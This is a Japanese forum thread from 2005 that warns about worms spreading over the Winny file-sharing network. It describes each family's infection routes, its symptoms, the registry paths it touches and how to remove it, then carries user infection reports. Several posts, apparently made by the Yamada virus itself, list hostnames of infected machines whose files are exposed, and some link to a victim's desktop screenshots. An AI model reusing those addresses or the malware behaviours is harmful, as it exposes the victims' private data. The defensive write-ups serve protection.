Winnyを狙ったワーム・ニュイルス情報 Part39

『山田はニュイルスではありません』
Winnyで流れている"新種の"ワーム、ウイルス等を報告・調査・対処をするスレです。
質問はテンプレを読んでからにして下さい。
読まずに質問しても「テンプレ嫁」と切り返されるだけです。
余裕があれば過去ログにも目を通してください。

■流行種
・元祖Antinny系　・キンタマ系　・batファイル　・スクリーンセーバー　etc

■主な流行感染パターン
・exeの前にスペースたくさん（例：「秘密の写真.jpg　　　　　　　　　.exe」）
・拡張子が.folderに変更されたHTMLからexeを実行させる
・autorunからbatファイルを実行させる
・解凍ソフトの脆弱性を利用し、スタートアップに解凍させて再起動後exeを実行させる

■ダウンロード後のちょっとした注意
・落としたファイルは必ずウイルススキャンする
・exeファイルは安易に実行しない
・ファイルのアイコンが偽装されてないか確認する

■全ての感染者に共通の、確実な対処方法
ハードディスクをフォーマットした上で、Windowsの再インストールをする。
上書きインストールではダメです。
現在ハードディスクにあるデータは消えるので、退避するなり諦めるなりしてください。

前スレ
Winnyを狙ったワーム・ニュイルス情報 Part38
ttp://tmp5.2ch.net/test/read.cgi/download/1113652734/

Antinny対策サイト ttp://nyweb.hp.infoseek.co.jp/

2get
肉じゃがさん（´・ω・） ｶﾜｲｿｽ

な

http://tetkyo057214.tkyo.te.ftth2.ppp.infoweb.ne.jp/
おｋｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗ

ｗｗｗ
うはっｗｗｗ

うぇｗｗｗっうぇｗｗｗｗｗｗｗｗｗｗｗｗおｋｗｗｗ

http://YahooBB221024240023.bbtec.net/
っうぇ

ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗうはっｗｗｗ

ｗｗｗｗｗｗｗｗｗｗｗｗｗっｗｗｗｗｗｗっｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗっうぇっおｋｗｗｗ

■感染しないための注意1　〜予めやっておくべき設定〜
・アンチウイルスソフトのインストール及び常駐、定期的な更新。
・うっかり操作防止のため、エクスプローラの操作はダブルクリック。
・ファイルの拡張子は表示させておく。できれば詳細表示を使うか、ファイラを使う。
・nyをProgramFilesに置かない。CacheとDownフォルダは詳細表示にする。
・CD/DVDドライブのAutorunは切っておく。（詳しくは別記）
・適切な無視リストの設定などで、ウイルスを呼び込まない。
・whiter対策としてC:\Windows\Systemに「Whismng.exe」というフォルダを作成。
　また怪しいと思ったらwhiterVBS簡易チェッカーで調べてみる。
　ttp://mxtrojan.at.infoseek.co.jp/column02.html
・IEのセキュリティ設定を厳しくする。特にActiveXコントロールとプラグインを無効orダイアログ表示に。
　（拡張子.folderで悪意のあるコードを含んだhtmlを読み込むバグ、悪用の危険あり)
　ttp://internet.watch.impress.co.jp/cda/news/2004/01/30/1927.html
・XMLのOBJECT要素によってコマンドを起動するバグ対策に、
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
　にあるFlagsの値を10進数で1に変更する。
・アイコン偽装したexeを見分けるため、フォルダ・txt・aviなど偽装されやすい拡張子は標準アイコンから変更しておく。
・レジストリ：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run のアクセス権を制限する。
　※アプリケーションのインストール時に弊害が起こることもあるので注意。

■感染しないための注意2　〜普段からの注意〜
・大事なデータはこまめにバックアップを取る。
・落としたファイルは必ずウイルススキャンする。
・指定外の場所へ解凍される脆弱性がある解凍ソフトがあるので対応済のソフトを使う。
　ttp://www.forest.impress.co.jp/article/2004/07/30/arcsecurity.html
・解凍ソフトはWinRARなど、解凍前に中身を確認できるアーカイバを使う。
・CDイメージはAutorunを切ってからマウントし、更に実行ファイル（setup.exe等）をウイルススキャンする。
・exeファイルの実行は完全自己責任、転んでも泣かない。
・ソフトを使って予め解凍する前に怪しい拡張子ファイルを削除する。
　ttp://a-t-software.hp.infoseek.co.jp/apps/delexe/index.html
・怪しい・危険なファイルはWinnyFileDatabaseでチェックする。
　ttp://winny.serveftp.com/nydb/top.php

※CD/DVDドライブのAutorunの切り方
　◆Win9x、Meの場合
　　1.[マイ コンピュータ]-[プロパティ]-[デバイスマネージャ]-[CD-ROM]-[プロパティ]-[設定]を開く
　　2.オプション項目の「挿入の自動通知」のチェックを外す
　◆Win2000、XPの場合
　　1.[スタート]−[ファイル名を指定して実行]で「regedit」と入力
　　2.レジストリエディタで、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom を展開
　　3.右の「AutoRun」値のデータを0に設定
※設定変更後、必ず再起動すること。再起動しないと有効になりません。
※窓の手などの管理ソフトでも簡単にオフに出来ます。
※DaemonToolsの自動起動とは別です。これをオフにしても自動実行は切れません。

★流行種その1
【キンタマ（W32.AntiWinny.K等）】
■感染ルート
・nyあるいはそれ以外の方法でキンタマワームを踏んで感染。
・IEや拡張子「.folder」のバグを利用し、自動実行させ感染。
■主な症状（感染確認方法）
・Upfolder.txtに登録したことのないフォルダが登録される。
・レジストリエディタ（regedit.exe）を開こうとするとメモ帳が開く。
・"C:\Documents and Settings\ユーザー名\Local Settings\Temp"に"ユーザー名.txt"が作成される。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　に名前xxx データC:\Program Files\???\???.exe（???は任意の名前）が登録される。
・スタートアップに該当プログラムが登録される。(msconfigで確認)
■主な活動内容
・Winnyとは関係なくランダムな時間にデスクトップのスクリーンショットを取る。
・デスクトップ上のファイルをまとめて　[キンタマ] 俺のデスクトップ PCのユーザー名[日付]（ファイル詰め合わせ）.lzh　という名前でupフォルダに置く。
・UpFolder.txtを書き換えてファイルを勝手にアップロードする。
・Winnyを接続すると知らない間に勝手にこれらをダウンロードする。
・各exeファイルはそのアイコンの本来の動作も同時に行う。
　（例えばjpgアイコンに偽装したexeを起動すると、ワームが実行されると共に画像も表示されるため気づきにくい）
■駆除方法
・Winnyをフォルダごと削除、そしてWinnyを再び入れ直す。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runの怪しい値を削除する。
・C:\Program Files\???\???.exeを削除、 スタートアップからも該当プログラム削除。
■予防
・なるべく関わらない。推奨無視ワード「キンタマ」「デスクトップ」

■まとめサイト
　ttp://myui.s53.xrea.com/kin/index.html
■挙動の似たウイルス【苺きんたま（Trojan.Upchan）】
　ttp://www.geocities.jp/ichigo_kintama/

★流行種その2
【Antinny.ms（仮称）】
Antinny.Bの亜種？ サイズ 1.26MB　開発名 SilentToker　Delphi製
ファイルバージョン5.1.3125.1093　製品バージョン6.00.1800.1007
■主な症状（感染確認方法）
・Windowsフォルダにsvchost.exeを作成。（無い場合もあり）
　※Systemフォルダにあるsvchost.exeは問題ありません。
・UpFolder.txtにBBSという名前でダウンフォルダを追加。
・アップ（ダウン?）フォルダのZIP、LZH、RAR（?）に感染。感染の際にアイコンを自ら変更する。
・アンチウイルスソフト（ノートン、バスター）の常駐を無効にする。
・親と子があり、いずれもSystemフォルダに作成される。子を消しても、再起動すると親が子を再度作成する。
　親はms???.exe（282k）、子はms???.exe（248k）。
・親はサービスに登録される。
・子はHOSTSを書き換えてWindowsUpdateやSymantecなどに接続不可にする。
・親と子はノートンでトロイとして検出される。バスターは未対応？
■活動内容
・毎月第一月曜日に発動。行動内容は不明。
■駆除方法
1.親のファイル名が含まれるレジストリキーを削除。
　Win2k、XPの場合HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 内にある。
　（Win9x、MEの場合は不明）
2.セーフモードで再起動し、ファイルを親子ともども削除。
3.HOSTSファイルを開き、宛先が0.0.0.0の行を全部削除。
　HOSTSファイルは \Windows\System32\Drivers\etc\Hosts をメモ帳などで開く。
4.NyのUpフォルダ設定を元に戻す。
5.ノートンやバスター等のワクチンソフトを再インストール。
　バスターはPCCTool.exeを使えば再インストールせずに済む。

★流行種その3
【Autorun+batを利用したウイルス】
5種類以上の亜種がある。
■感染ルート
・主にエロゲのイメージファイルをマウントした時やSetupを実行した時に感染。
・Setup.batやSetup.exeを実行させることで感染。
■主な活動内容（種類により活動は異なる）
・deltree、del、rmコマンドでファイル削除。
・bug.exeで気をそらす。
・reg deleteコマンドでレジストリ全削除。
・スタートアップに自身を登録し、再起動する毎に活動する。
・レジストリのRunやRunOnceに自身を登録し、再起動する毎に活動する。
・システムの復元の無効化。
・Windowsファイル保護の無効化。
・使用者名・企業名変更。
・レジストリエディタ本体及びdllcacheやi386フォルダ内のバックアップの削除。
　（削除したファイルと同名のフォルダを作成する）
・強制再起動
・html(ACCS・JASRACへの田代砲）の起動をatコマンドでスケジュールする。
・壁紙をエロCGに変更（画面のプロパティでの修正は不可）。
■駆除方法（種類により対処法は異なる）
・batファイルに書かれたDOSコマンドを読んで、加えられた変更を元に戻す。
■対策
・batファイルを不用意に実行しない。

★流行種その4
【スクリーンセーバー（仮称）】
・サイズは4,553,632Byte、アイコンはフォルダに偽装。
■感染ルート
・感染者が流す圧縮ファイルにある偽装されたウイルス本体から感染する模様。
■主な症状（感染確認方法）
・ny起動すると画面が真っ黒になり、
　赤い文字で「winnyで違法なファイルを集めています」と文字が流れる。
・マウス動かすとログオフ画面に切り替わる。
・起動時にアドレス帳が勝手に立ち上がる。
・タスクマネージャが起動できない。
■主な活動内容
・C:\WINNT\Web\Wallpaperのフォルダを開く。（意味は不明）
・C:\WINDOWS\bugfixというフォルダを作り2つの圧縮ファイル作成。
　[任意ﾜｰﾄﾞ][NullPorce] 俺のアドレス帳＆お気に入り　ユーザー名.zip
　私はユーザー名、Antinnyの作者だ。.zip
・UpFolder.txtに「Path=C:\WINDOWS\bugfix」を追加。
・Winny.exeが置いてあるフォルダに、"NullPorce2MX.exe"（22,528バイト）ができる。
・C:\WINNTにWindowsXPのフォルダに偽装したexeファイルをいくつか（３つ？）作る。
　ファイル名はシステムに使用されるものをランダムに使用する模様。
　（報告済み：CTFMON.EXE、Exploder.exe、IMEJPMlG8.0.exeなど、どれも45,056バイト）
・レジストリに以下を追加し、起動時の自動実行が設定される。
　HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
・また以下の値も追加、作用は不明？値はGalaxian Explosion
　HKEY_CURRENT_USER\Software\VB and VBA Program Settings\NullPorce2\Attribute
■駆除方法
・C:\WINDOWS\system\にあるwnconfig.txtとアイコンが偽装しているexeを削除。
・C:\WINDOWS\bugfix\の中に生成されてる２つのファイルを削除。
・nyを入れてるフォルダにあるUpFolder.txtを削除。
・レジストリで追加されたキーを削除。

★流行種その5
【仙台キンタマ（W32.SillyP2P）】
■感染ルート
・主にエロゲのイメージファイルをマウント、Autorunでウイルス発動。
■主な活動内容
・壁紙を勝手に変更する。
・windows\system32の中にexeを作製（svchost32.exe、setup.exe、ごみ箱.exeなど）。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runに上記exeを追加。
・レジストリエディタをメモ帳で上書き。
・UpFolder.txtにUPフォルダを追加し、
　Download.txtにウイルスと思われるスペースつきのexeファイルを追加する。
・winnyのフォルダ内に隠しフォルダでUPフォルダが作られ、
　downフォルダ内のファイル一覧のtxt、デスクトップSS、
　Favorites、受信トレイ.dbx、送信トレイ.dbx、My Documentsが入れられる。
・Ignore.txtに仙台ギャラクシーエンジェルズを追加するため、自分が晒されてると気づきにくい。
■駆除方法
・windows\system32の中に作製されたexeを削除。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runに追加されたキー削除。
・UpFolder.txt、Download.txtの問題箇所修正削除。

【仙台スクリーンセーバー】
・仙台キンタマの2次感染を狙ったもの、仙台キンタマが放流する詰合わせに偽装。
・『（ユーザー名が2-3文字の女性名、トリップ無し）に混在の.scr』とスクリーンセーバ偽装。
・ハードディスク内の.doc、.xls、.txt、.jpgなどを収集しnyへ放流する。
・ノートンはAntinny.Gとして緊急対策。

【仁義なきキンタマ】
■感染ルート
・フォルダアイコンに偽装したサイズ829,440の「新しいフォルダ　　　　　　.exe」を踏んで感染。
・感染者が流す、[仁義なきキンタマ] ○○のドキュメント.zipに偽装したウイルス本体が同梱されている。
・セキュリティレベルが低いと同梱されているhtmlから感染。
■主な症状（感染確認方法）
・C:\WINDOWS\system32\drivers\svchost.exe
　C:\WINDOWS\system32\wbem\　　　　　.exeを作成。
・C:\Documents and Settings\ユーザー名\Local Settings\Temp\jktemp\upにupフォルダ作成される。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　にsvchost.exeが登録される。
■主な活動内容
・デスクトップのスクリーンショットを取る。
・Winnyの検索履歴・tab1.txt・tab2.txt、WinMX共有ファイル名、2chブラウザのkakikomi.txt、IEのcookie、
　OEの受信・送信フォルダ、hotmail情報、ワード・エクセルのファイルをupフォルダに圧縮する。
・UpFolder.txtを書き換えて以下の形でwiinyにファイルを勝手にアップロードする。
　[仁義なきキンタマ] ○○のデスクトップ(******-****).jpg
　[仁義なきキンタマ] ○○のドキュメント.zip
■駆除方法
・C:\WINDOWS\system32\drivers\svchost.exe
　C:\WINDOWS\system32\wbem\　　　　　.exeを削除。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runにある
　system32\drivers\svchost.exeを削除。
・UpFolder.txtの修正、作成されたupフォルダの削除。
■予防
・exe踏むなかれ。

まとめサイト
ttp://kintama.client.jp/
ttp://nemoba.seesaa.net/article/2479117.html

【欄検眼段】
■感染ルート
・アプリに混入させ感染させる。
■主な症状（感染確認方法）
・C:\WINDOWS\system32\IMJPMlG.exeを作成。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　にIMJPMlG.exeが登録される。
・フォルダ「temp000」を作成。
・UpFolder.txtを作成し以下の内容を書き込み、アップロードさせる。
　　　[temp000]
　　　Path=C:\temp000
　　　Trip=12345
■主な活動内容
・OS起動時にデジカメ画像ファイル「DSC〜.JPG」を探し、「.GJB」に拡張子変更させアップロードする。
■駆除方法
・C:\WINDOWS\system32\IMJPMlG.exeを削除。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　にIMJPMlG.exeを削除する。
・フォルダ「temp000」削除、UpFolder.txt修正。

【山田ウイルス&亜種】

流行中、でもスレ違い

ttp://127.0.0.1/
開けると感染中

感染するとデスクトップのスクリーンショットと、ハードディスクに保存されているファイル
全てを、外部からダウンロード出来るようにHTTPサーバーで公開します。そのアドレスを
２ちゃんねる内の掲示板にランダムに書き込みます。

他にも、ホストファイルを書き換えて、マイクロソフトやアンチウィルスソフト会社サイト
などへのアクセスを民主党（210.253.211.2）に変更し、ウィルス定義ファイルの更新、
ウィンドウズの更新などを利用出来ないようにします。

Q.　なぜ山田？
A.　友人の山田くんがメッセで送ってきたyoujo.exeを踏んで感染したという書き込みから。
書き込みはネタだったけど、そのまま定着。

ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_MELLPON.A

まとめ
ttp://nemoba.seesaa.net/article/2891535.html

過去スレ1
Part1 ttp://tmp.2ch.net/test/read.cgi/download/1060003283/
Part2 ttp://tmp.2ch.net/test/read.cgi/download/1060385909/
Part3 ttp://tmp.2ch.net/test/read.cgi/download/1060700316/
Part4 ttp://tmp.2ch.net/test/read.cgi/download/1061551896/
Part5 ttp://tmp.2ch.net/test/read.cgi/download/1063637671/
Part6 ttp://tmp2.2ch.net/test/read.cgi/download/1066288327/
Part7 ttp://tmp2.2ch.net/test/read.cgi/download/1068654569/
Part8 ttp://tmp2.2ch.net/test/read.cgi/download/1072600676/
Part9 ttp://tmp2.2ch.net/test/read.cgi/download/1075998916/
Part10 ttp://tmp2.2ch.net/test/read.cgi/download/1078207953/
Part11 ttp://tmp2.2ch.net/test/read.cgi/download/1079425731/
Part12 ttp://tmp2.2ch.net/test/read.cgi/download/1079449665/
Part13 ttp://tmp2.2ch.net/test/read.cgi/download/1079540824/
Part14 ttp://tmp2.2ch.net/test/read.cgi/download/1079918577/
Part15 ttp://tmp2.2ch.net/test/read.cgi/download/1080816795/
Part16 ttp://tmp2.2ch.net/test/read.cgi/download/1081307106/
Part17 ttp://tmp2.2ch.net/test/read.cgi/download/1082190076/
Part18 ttp://tmp2.2ch.net/test/read.cgi/download/1083335282/
Part19 ttp://tmp3.2ch.net/test/read.cgi/download/1084036887/
Part20 ttp://tmp3.2ch.net/test/read.cgi/download/1084808432/
Part21 ttp://tmp4.2ch.net/test/read.cgi/download/1086794458/
Part22 ttp://tmp4.2ch.net/test/read.cgi/download/1089460762/
Part23 ttp://tmp4.2ch.net/test/read.cgi/download/1091063187/
Part24 ttp://tmp4.2ch.net/test/read.cgi/download/1092058756/
Part25 ttp://tmp4.2ch.net/test/read.cgi/download/1093270545/
Part26 ttp://tmp4.2ch.net/test/read.cgi/download/1094872215/
Part27 ttp://tmp4.2ch.net/test/read.cgi/download/1095939735/
Part28 ttp://tmp4.2ch.net/test/read.cgi/download/1096694962/
Part29 ttp://tmp4.2ch.net/test/read.cgi/download/1098962243/
Part30 ttp://tmp4.2ch.net/test/read.cgi/download/1099709559/

過去スレ2
Part31 ttp://tmp4.2ch.net/test/read.cgi/download/1100072614/
Part32 ttp://tmp4.2ch.net/test/read.cgi/download/1102892779/
Part33 ttp://tmp4.2ch.net/test/read.cgi/download/1107015489/
Part34 ttp://tmp4.2ch.net/test/read.cgi/download/1108905276/
Part35 ttp://tmp4.2ch.net/test/read.cgi/download/1110795819/
Part35 ttp://tmp4.2ch.net/test/read.cgi/download/1113203081/
Part37 ttp://tmp4.2ch.net/test/read.cgi/download/1113203081/
Part38 ttp://tmp5.2ch.net/test/read.cgi/download/1113652734/

>1
乙でｽ

【使用AntiVirusソフトでのウイルススキャンの結果】
【オンラインスキャンしたなら結果】
ttp://www.symantec.com/region/jp/securitycheck/index.html
ttp://www.trendmicro.co.jp/hcall/index.asp

ウイルススキャンにて感染の確認がない時は、質問用テンプレにて報告して下さい
質問の際、あなたのPC環境やウイルスソフトがわからないと対処できません。
テンプレに沿って答えることで解答が出やすくなります。

■ニュイルス用質問テンプレ
【使用OS】
【WindowsUpdateしてるか】
【使用AntiVirusソフト】
【AntiVirusをUpdateしてるか】
【Winnyのﾊﾞｰｼﾞｮﾝ】
【Winny歴、総DL量】
【テンプレを読んだか】
【テンプレにある対策を実行したか】
【症状、具体的に分かる限りすべて書く】
【何をしたらそんなことになったのか】
※感染元のファイルの情報もあると良し
【これまでにとった措置】

【テンプレを読んだか】
モナーのつくりかたおしえてください

￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣｣
―――――――――――――‐┬┘
　　 　 　 ＿＿＿＿.＿＿＿＿ 　　 |　.＿＿　　　 パソコンを
　　　　　|　 　 　 　 | 　 　 　 　|　　 |　|＼＿＼　　窓から
　　　　　|　 　 　 　 | ∧＿∧　|　　 |　|　 |.◎.｜　投げ捨てろ
　　　　　|　 　 　 　 |（　´∀｀）つ ミ |　|　 |.：　｜
　　　　　|　 　 　 　 |/ ⊃　 ﾉ　|　　 |　.＼|.≡.｜
　 　 　 　￣￣￣￣'￣￣￣￣　 　 |　　　￣￣

>>通報屋
いつもご苦労様。

【参】考
http://www.a-chi.jp/_4_nen_Flash/4-077.swf

639 名前：[名無し]さん(bin+cue).rar [sage] 投稿日：2005/04/28(木) 21:06:25 ID:JJOZ54/90
>>637-638
PGPディスクかな？

ついでに>>1のテンプレの
http://www.geocities.jp/kemkzuenc/Antinny.html
↓
http://wivir.tripod.com/Antinny.html
と変更しておいてね

あと久しぶりに更新したので

山田て誰ですか？

http://JJ079055.ppp.dion.ne.jp/
ｗｗｗｗｗｗｗｗうはっｗｗｗおｋｗｗｗっっｗｗｗｗｗｗ

うはっｗｗｗっうぇっｗっｗｗｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗっうぇｗｗｗｗｗｗｗｗｗ

>>25
山田さん？

違うのか

関連ニュース
ttp://www.sakigake.jp/servlet/SKNEWS.News.kiji?InputKIJICODE=20050502k
湯沢の漏えい職員、停職3ヶ月に

流出元のパソコン本体を紛失したとかいう、開き直った対応してた
のは湯沢と違ったっけ？　最近多いから混同しちゃうよ。(´･ω･`)

さっきみすってよくわからんexeくりっくして
Documents and Setting\ユーザー名 フォルダの中に「デスクトップ.なんたら(拡張子わすれた)」ってファイルあったんだが。
ｱｳﾄ？　焦ってWinny消してそのデスクトップなんたらも消した

ごめん19読んでなかった
【使用OS】XP　SP2
【WindowsUpdateしてるか】してる
【使用AntiVirusソフト】ノートン2005
【AntiVirusをUpdateしてるか】してる
【Winnyのﾊﾞｰｼﾞｮﾝ】２
【Winny歴、総DL量】1年
【テンプレを読んだか】読んだ
【テンプレにある対策を実行したか】対策っていうか確答してない
【症状、具体的に分かる限りすべて書く】ノートンが常駐できない（もしかしてAntinny.ms？）
【何をしたらそんなことになったのか】５０Mあるexe起動した
※感染元のファイルの情報もあると良し
【これまでにとった措置】Dcuments and Setting\ユーザー名にあった「デスクトップ.なんたら」削除。ノートンでスキャン(反応無し)。WINNY削除

とりあえず、タスクマネージャで変なプロセスが走っていないか確認
スタートアップフォルダ内や、レジストリのrunを確認
システムルートのautoexec.batなども確認、そこらのbatファイルも要チェック

バスターと先生のオンラインチェックで確認
不安が残るならフォーマットして再インスコ

そして、このスレの目的を再確認し、情報（感染元の詳細）提供に努めること

>>31
アウトかセーフか自分で分からないのなら
リカバリした方が安全だし安心

山田による書き込みをNGにする方法（NGEx対応jane専用）
↓の一行を正規表現で追加してください
(ttp://).*(うぇ|うは|おｋ|っｗｗ|ｗｗっ).*(うぇ|うは|おｋ|っｗｗ|ｗｗっ).

>>28
業務上必要なソフトとかうそぶいてなかった？

>>35
京都府警じゃあるまいし。(w

フリーか何かでexe実行時に警告出してくれるソフトかなんかなかったっけ？

バスター月額版、なんかクオカード配布で全登録者に\500ｷｬｯｼｭﾊﾞｯｸの上、
業者に頼んで復旧してた場合は領収書ありで8.5ｋ、無しでも1ｋまで負担するんだと。

うち、2シリアルだから最低3ｋ毟れる予感 (･∀･)

ITがらみで迷惑かけると\500/件ていうのは定着した感があるね。
nyで漏らした某自治体とかはなんもせんのだろうけど

ウイルスの検体うｐするのってまずい？アーカイブにパス付けてコメントで警告すれば問題ないかな？

>>37
ロシア製のSSMかと。

System Safety Monitor
http://www.geocities.co.jp/Outdoors-Mountain/9671/ssm/

ウィルス対策ソフトを使わず、手動で削除する俺はコスト削減に貢献！ｗ

トム「日本人は自分のパソコンを壊されても５００円で納得するらしい」
ジャック「なんだって！アメリカなら少なくとも５万ドルは固いぜ」
トム「それだけではない。自分からメーカーに送る手間を被っても喜んでやるらしい」
ジャック「マイガ！アンビリーブ」
トム「今度生まれ変わるときは、日本のソフトメーカーに就職したいね」

>>42
これいいじゃんか

実質的な被害が無くても、バスター使ってただけで
\500のお小遣いが入ったって話じゃないかとｗ

つーかバスター＞＞＞＞＞＞＞＞＞＞ノートンだしなｗｗｗｗｗｗｗｗ

さっきまで2ちゃんに繋がらなかったんだけど、何かあったん？
夕方から1時30分くらいまでまったく繋がらなかった…

キミだけ

【欄検眼段】
これ、GBJのファイルを見ようとした（実行した）だけでは、感染はしないのですか？

Winnyをはじめてからウィルスが恐くて夜も眠れません。

昼寝すればいいじゃない

>>51
だったらnyやめて、窓からＰＣを投げ）ny

>>50
A :　_、_
　（　,_ﾉ` ）　　　　 n　　　　こんな匿名掲示板で書かれたことを信用するんですか？ だったら言ってあげますよ
￣　　　　＼　　　（ E）　 　罠満載！見た瞬間に個人情報撒くわ
ﾌ 　癌　 /ヽ ヽ_／／　　　専用UploaderにデスクトップのSS投稿するわ重要ファイルは消えるわ家は燃えるわ大騒ぎ！！ｐｇｒ

山田ってなんですか？

http://dhcp3037.orihime.ne.jp/
ｗｗｗｗｗｗｗｗｗｗｗｗうはっｗｗｗっ
うぇｗｗｗ
ｗｗｗｗｗｗｗおｋｗｗｗうはっｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
おｋｗｗｗおｋｗｗｗｗうはっｗｗｗ

いいタイミングだな。

タイミングどころかワザとageたんじゃない？

orz

【使用OS】 XP
【WindowsUpdateしてるか】 している
【使用AntiVirusソフト】 未使用
【AntiVirusをUpdateしてるか】 未使用
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b71
【Winny歴、総DL量】 3年、恐らく数百G
【テンプレを読んだか】 読んだ
【テンプレにある対策を実行したか】 していなかった。
【症状、具体的に分かる限りすべて書く】 ドキュメント内のファイルが全て(･ё･)xxxxx.jpegに置き換えられ、
　　　　　　　　　　　　　　　　　　　　　　　　　　Windowsを起動すると9xチックなウィンドウが際限なく開かれる。
【何をしたらそんなことになったのか】 らぶデス 〜Realtime Lovers〜 モザイク除去パッチ.zipのインストール版を踏んだ
※感染元のファイルの情報もあると良し
【これまでにとった措置】 Ctrl+Altを押すと取り合えず起動できた。ドキュメント内にはフラッシュしか入れてなかった為
　　　　　　　　　　　　　　　　素直に諦めてjpegを全て消した。

>>60
OSも消した方がよろしいかと。

>>55
もはや一昔前のウイルス。
御三家（先生、マカ、バスター）はある程度の亜種まで対応済みだが
無料アンチウイルスユーザーなどでは現在も感染者が居る。
感染すると全世界にPC内のほぼ全ファイルを提供する状態となり、
2ｃｈに定期的にホストを書き込んで他人にアクセスを促し、
さらに↓のようにリアルタイムにデスクトップ画像を晒される。
ttp://with2ch.net/up/data/1115709592.jpg

http://YahooBB221025002002.bbtec.net/
っうぇおｋｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗっうぇっ
うぇｗｗｗｗっｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

http://62.net059086117.t-com.ne.jp/
ｗｗｗｗｗｗｗｗｗｗうはっｗｗｗっうぇっうぇ

うぇｗｗｗ
ｗｗｗ
ｗｗｗっうぇうはっｗｗｗ
ｗｗｗｗｗｗ

っｗｗｗうぇｗｗｗうはっｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

>>62
拡張子を表示させてないみたいだね。
自業自得だ。

拡張子を表示しない設定にしてる初心者がもっと増えますように・・・

>>62
タスクトレイにペンだけかよ！ｗ

>>42
これマジいいね。
転ばぬ先に杖で皆入れといたほうがいいんじゃないの。
っていうか、次スレにはテンプレに入れておいてほしいくらい。

>>60
モザイク除去パッチ

（；´Д｀）

山田のテストのためにFWルールを書いてみた

>>62
の娘に萌えたのは俺だけじゃないはず・・・

>>62
Tuenappとかうさくりーん、リソハカまで入ってるのに拡張子表示させてないって

ファイル名に偽装の拡張子があったら、偽物と判るからｲｲんじゃね
感染してるようだが

・・・長いファイル名は、選択されてないと省略表示されるんだよ。

>>68
釣りかは知らんが、>23に書いてある
最新版は1.9.6b2だけど
中の人もずっと更新しちゃいないようだ
期限が過ぎると使えんからな

最新版は1.9.6b2+だよ

http://203-67-155-197.adsl.dynamic.seed.net.tw/
っうぇｗｗｗっｗｗｗ
ｗｗｗｗｗｗｗｗｗっうぇおｋｗｗｗ
うはっｗｗｗおｋｗｗｗっうぇっｗっっっ
ｗｗｗｗｗｗｗｗｗｗｗｗ

っっうはっｗｗｗっうぇｗｗｗ

>>77
http://www.uploda.org/file/uporg95273.jpg

動きが遅くなると、すぐタスクマネージャーを出して確認しているのは漏れだけではないはず。

ノ

っていうかny経由のファイルを実行するときはタスクマネージャを監視する俺

WinnyFileDatabaseのこのHP。
　ttp://winny.serveftp.com/nydb/top.php
ぜんぜん応答かえってこないんだけど、うちだけ？

>>82
普通にアクセスできるよ

>>83
ありがとぉ。

なんでだろ、全然表示できない。(´･ω･`)

串さしたら表示でけた。
でも、いちいちささないといけないのはめんどくさいなぁ。(´･ω･`)

>>85
串ささなくてもみれるよ

>>82
安心汁。漏れもアクセス出来ないorz
串差してもだめぽorz

HPの運営者がホストごとに弾いてる気がする・・・

上げてしまった・・・
欝だ死のう
;y=ｰ(´Д｀;)･∵.　ﾀｰﾝ...

>>82
見れない by dion

>>82
見れない by yahoo

>>82
見れない　by yahoo
見れる by point

>>82
so-net見れますた。今となっては、たいして信頼性もないけどね

見れる by Excite

>>82
見れる by ocn

>>82
yahooだけど見れるぞ

ブラウザチェックとか？

tp://www.uploda.org/file/uporg95453.jpg

tp://www.uploda.org/file/uporg95460.jpg

ネタ臭いがなんだろね？

tp://www.uploda.org/file/uporg95466.jpg

tp://www.uploda.org/file/uporg95471.jpg
tp://www.uploda.org/file/uporg95477.jpg

なんかチャット相手が気づいたぽい。ネタじゃなかったのか((((;ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

tp://www.uploda.org/file/uporg95483.jpg

やっぱキンタマかw

tp://www.uploda.org/file/uporg95487.jpg
tp://www.uploda.org/file/uporg95490.jpg

んでも実際どうなんだろ･･･判断しかねる

>>98-102
苺みたいなやつ？

tp://www.uploda.org/file/uporg95492.jpg

これってどこ？

tp://www.uploda.org/file/uporg95501.jpg

やっぱネタか？なんかvipperくせー('A`)

山田だったのか
最近すっかりどうでもよくなってたからなあ

山田のSSをうｐしたのか・・・。

ID:1E91I6lw0
スレ違い

悪かったス(´･ω･)
もっと早く気づくべきだったス

ちょっと思うんだけど、山田で作成されてるjpegってウイルス混入してないかい？

ウイルスのバイナリが混入してても
実行されないだろ、データなんだから。

【使用OS】 Win XP Pro SP2
【WindowsUpdateしてるか】 している
【使用AntiVirusソフト】 オンラインスキャンのみ
【AntiVirusをUpdateしてるか】
【Winnyのﾊﾞｰｼﾞｮﾝ】 Ｓｈａｒｅ　A82での感染です
【Winny歴、総DL量】
